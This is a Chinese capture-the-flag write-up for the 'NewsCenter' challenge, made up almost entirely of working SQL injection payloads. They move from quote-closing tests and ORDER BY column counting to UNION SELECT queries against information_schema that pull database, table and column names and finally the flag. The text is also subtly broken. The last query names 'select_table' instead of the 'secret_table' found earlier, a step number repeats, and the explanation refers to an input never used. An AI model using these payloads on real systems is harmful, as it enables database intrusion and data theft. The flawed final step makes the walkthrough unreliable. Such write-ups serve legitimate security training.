题目:NewsCenter 难度:2
主要知识点
sql注入,union语法
解题:
步骤一 判断类型
在对话框中输入“hi”后,弹出了相关的News内容。
随后,我输入了hi',立刻报错了。再输入一个单引号也一样报错
我判断,这是一个字符型sql注入题。
因此,我在对话框中输入
hi'#
这次没有报错了。
原因:
单引号与服务端代码中的’形成闭合,将我们输入的字符串hello包裹,服务端代码后面就多出来了一个‘导致语法错误,而加入#将后面的’注释掉之后不会报错。
得出结论:这是字符型sql注入题
后面的语法,我们只需要保留前面'闭合其之前的雨具以及末尾的#注释掉后面的语句即可,缺一不可!!
步骤二 orderby 语句查询列数
使用语句:
' order by 1# //无报错
' order by 1,2# //无报错
' order by 1,2,3# //无报错
' order by 1,2,3,4# //报错
发现当出现第四个时,报错了,与原数据库的列数冲突了。(order by 后面的内容可以少于前面查询的属性数,但是不能多于查询的属性数)
得出结论:有3列
步骤三 回显定位
union select语句:
a' union select 1,2,3#
a用来让他少废话。
发现只有2和3列有回显示。
步骤四 库名-->news
代码:
a' union select 1,2,database()#
我们得出库名为news
步骤五 表名-->news 和secret_table
代码查询表名:
a' union select 1,2,table_name from information_schema.tables where table_schema='news'#
得出两个表的名字:news 和secret_table
步骤六 secret_table的列名-->id 和 fl4g
输入:
a' union select 1,2,column_name from information_schema.columns where table_name='secret_table' #
步骤六 找字段名(找flag
a' union select 1,id,fl4g from news.select_table #